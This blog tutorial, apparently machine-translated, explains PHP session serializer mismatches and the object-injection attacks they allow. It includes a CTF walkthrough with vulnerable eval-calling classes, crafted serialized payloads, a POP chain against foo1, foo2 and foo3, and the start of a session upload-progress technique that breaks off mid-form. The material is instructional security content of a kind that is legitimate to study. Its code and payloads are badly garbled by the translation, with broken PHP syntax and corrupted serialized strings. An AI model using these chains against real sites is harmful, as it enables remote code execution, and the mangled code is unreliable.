菜单

Detailed explanation of SESSION anti serialization mechanism in PHP

2017年11月22日 - PHPer

brief introduction

There are three configuration items in php.ini:

Storage path “session.save_path=” – set session

Session.save_handler= “” – setting user-defined storage functions, if you want to use the built-in PHP session storage mechanism, you can use the function (database, etc.)

Session.auto_start boolen: Specifies whether the session module starts a conversation at the start of a request, the default is 0 does not start

Session.serialize_handler string – definition is used to deserialize processor name / serialization. Default using PHP

The options above are options related to Session storage and sequential word storage in PHP.

In the installation of xampp components, the configuration items above are set as follows:

Session.save_path= “D:\xampp\tmp” showed that all session files are stored in the xampp/tmp

Session.save_handler=files showed that session is used to store the file in the way

Session.auto_start=0 that default does not start session

Session.serialize_handler=php showed that the session engine uses the default sequence words is PHP sequence of words engine

In the above configuration, session.serialize_handler is used to set the session sequence language engine, in addition to the default PHP engine, there are other engines, different engines corresponding to the session storage mode is not the same.

Php_binary: storage is ASCII + + character key length corresponding keys through the Serialize () function sequence of processing value

Php: storage is a key + + by Serialize () function sequence processing value

Php_serialize (php> 5.5.4): the storage method is the value that is serialized by the Serialize () function

In PHP, the default is to use the PHP engine, and if you want to modify it to other engines, you only need to add the code ini_set (‘session.serialize_handler’,’ need to set the engine ‘);. Example code is as follows:

<? PHP

Ini_set (‘session.serialize_handler’,’php_serialize’);

Session_start ();

Do / / something

Storage mechanism

The content of PHP in session is not stored in memory, but stored in the way of file. The storage method is determined by configuration item session.save_handler, and the default is stored in file mode.

The stored file is named after sess_sessionid, and the content of the file is the sequence of the session value.

Suppose our environment is xampp, then the default configuration is described above.

In default configuration:

<? PHP

Session_start ()

$_SESSION[‘name’] =’spoock’;

Var_dump ();

&gt?;

The last session is stored and displayed as follows:

You can see that the value of PHPSESSID is jo86ud4jfvu81mbg28sl2s56c2, and the file name stored in xampp/tmp is sess_jo86ud4jfvu81mbg28sl2s56c2, and the content of the file is name|s:6: “spoock””;. Name is the key value, s:6: “spoock”; is the result of serialize (“spoock”).

Under the php_serialize engine:

<? PHP

Ini_set (‘session.serialize_handler’,’php_serialize’);

Session_start ();

$_SESSION[‘name’] =’spoock’;

Var_dump ();

&gt?;

The content of the SESSION file is a:1:{s:4: “name”; s:6: “spoock”;}. A:1 is a sequence of words added with php_serialize. At the same time, using php_serialize will serialize key and value in session.

Under the php_binary engine:

<? PHP

Ini_set (‘session.serialize_handler’,’php_binary’);

Session_start ();

$_SESSION[‘name’] =’spoock’;

Var_dump ();

&gt?;

The content of the SESSION file is names:6: “spoock””;. Because the length of name is 4, 4 corresponds to EOT in the ASCII table. According to the storage rules of php_binary, the last is names:6: “spoock””;. (suddenly found that the ASCII value of 4 characters can not be displayed on the web page, this everyone to check the ASCII table)

Simple use of serialization

Test.php

<? PHP

Class syclover{

Var $func=””;

(__construct function) {

$this-> func = phpinfo ()”;

}

(__wakeup function) {

Eval ($this-> func);

}

}

Unserialize ($_GET[‘a’]);

&gt?;

The imported parameters are serialized in the 11 line. We can execute a Eval () method by passing a specific string into an example of syclover. We visit localhost/test.php, a=O:8: “syclover”: 1:{s:4: “func”; s:14: “echo” spoock “;”}. So what you get from the serialization is:

Object (syclover) [1]

Public’func’=> string’echo spoock;’ (length=14)

The last page output is spoock, which shows that we finally execute the echo “spoock” defined by us.

This is a demo of a simple serialization vulnerability

Serialization hazards in PHP Session

The implementation of Session in PHP is not a problem, and the harm is mainly caused by improper use of Session by programmers.

If the engine used in the serialization of stored $_SESSION data in PHP is not the same as the serialized engine, the data will not be properly serialized. By carefully constructing the data package, you can bypass the verification of the program or execute some system methods. For example:

$_SESSION[‘ryat’] =’|O:11: “PeopleClass”: 0:{}’;

The data of $_SESSION above uses php_serialize, and the last storage is a:1:{s:6: “spoock”; s:24: “|O:11:” PeopleClass “: 0:{}”;}.

But when we’re reading, we choose PHP, and the last thing we read is:

Array (size=1)

‘a:1:{s:6: “spoock” s:24: “=&gt”;

Object (__PHP_Incomplete_Class) [1]

Public’__PHP_Incomplete_Class_Name’=> string’PeopleClass’ (length=11)

This is because when using the PHP engine, PHP engine will be | as separate key and value match, so it will be the a:1:{s:6: “spoock”; “s:24: as SESSION key, O:11:” PeopleClass “0:{} as value, deserialized and then finally get to the PeopleClas class.

The reason why the PHP Session sequence language leaks is due to the different engine used in sequence and de serialization.

Actual utilization

There is a vulnerability in the presence of s1.php and us2.php, and the engine of the SESSION used by the 2 files is different,

S1.php uses php_serialize to handle session

<? PHP

Ini_set (‘session.serialize_handler’,’php_serialize’);

Session_start ();

$_SESSION[“spoock”]=$_GET[“a”];

Us2.php uses php to handle session

Ini_set (‘session.serialize_handler’,’php’);

Session_start ();

Class lemon {

Var $hi;

Function (__construct) {

$this-> hi =’phpinfo ();’;

}

   

Function (__destruct) {

Eval ($this-> hi);

}

}

When accessing s1.php, submit the following data:

Localhost/s1.php? A=|O:5: “lemon”: 1:{s:2: “Hi”; s:14: “echo” spoock “;”}

At this point, the incoming data is serialized in accordance with php_serialize.

At this point, when you access us2.php, the page output, spoock successfully executed the function we constructed. Because when you access us2.php, the program will serialize the data in SESSION according to PHP, then it will serialize the forged data, and then instantiate the lemon object, and finally execute the eval () method in the destructor.

CTF

A question in the constant cup examines the point of knowledge. The key code in the title is as follows:

Class.php

<? PHP

Highlight_string (file_get_contents (basename ($_SERVER[‘PHP_SELF’])));

//show_source (__FILE__);

Class foo1{

Public $varr;

(__construct function) {

$this-> varr = index.php”;

}

(__destruct function) {

If (file_exists ($this-> varr)) {

Echo “< br>.$this-> varr. file” &lt br&gt “;”;

}

Echo “< br> this is the destructor for foo1 < br>”;

}

}

Class foo2{

Public $varr;

Public $obj;

(__construct function) {

$this-> varr =’1234567890′;

$this-> obj = null;

}

(__toString function) {

$this-> obj-> (execute);

Return $this-> varr;

}

(__desctuct function) {

Echo “< br> this is the destructor for foo2 < br>”;

}

}

Class foo3{

Public $varr;

(execute function) {

Eval ($this-> varr);

}

(__desctuct function) {

Echo “< br> this is the destructor for foo3 < br>”;

}

}

&gt?;

Index.php

<? PHP

Ini_set (‘session.serialize_handler’,’php’);

Require (“./class.php”);

Session_start ();

$obj = new foo1 ();

$obj-> varr = “phpinfo.php””;

&gt?;

Through code discovery, we end up executing our custom functions through execute in foo3.

So let’s build the local environment first, and build the custom functions that we need to execute. As follows:

Myindex.php

<? PHP

Class foo3{

Public $varr=’echo “spoock”; “;

(execute function) {

Eval ($this-> varr);

}

}

Class foo2{

Public $varr;

Public $obj;

(__construct function) {

$this-> varr =’1234567890′;

$this-> obj = new (foo3);

}

(__toString function) {

$this-> obj-> (execute);

Return $this-> varr;

}

}

Class foo1{

Public $varr;

(__construct function) {

$this-> varr = new (foo2);

}

}

$obj = new foo1 ();

Print_r (serialize ($obj));

&gt?;

In the constructor of foo1, define the instance of $varr as foo2, define the example of $obj as foo3 in foo2, and define the value of $varr as “echo” spoock in foo3″. The value of the resulting sequence statement is

O:4: “foo1” 1:{s:4: “varr”; “O:4: foo2”: 2:{s:4: “varr”; “s:10: 1234567890 s:3:”; “obj”; “O:4: foo3”: 1:{s:4: “varr”; s:14: “echo” spoock “;”; “

Thus, when the value of the above sequence is written to the server, and then access the server’s index.php, it will eventually execute our predefined echo “spoock” method.

Writing is the main way of using PHP in Session Upload Progress to set, specifically, in the upload file, if the POST of a variable named PHP_SESSION_UPLOAD_PROGRESS, you can assign the value of filename to session, upload the page written as follows:

< form action=, “index.php”, “POST”, “enctype=”, “multipart/form-data”, &gt, method=;

< input type= “hidden” name= “PHP_SESSION_UPLOAD_PROGR

发表评论

电子邮件地址不会被公开。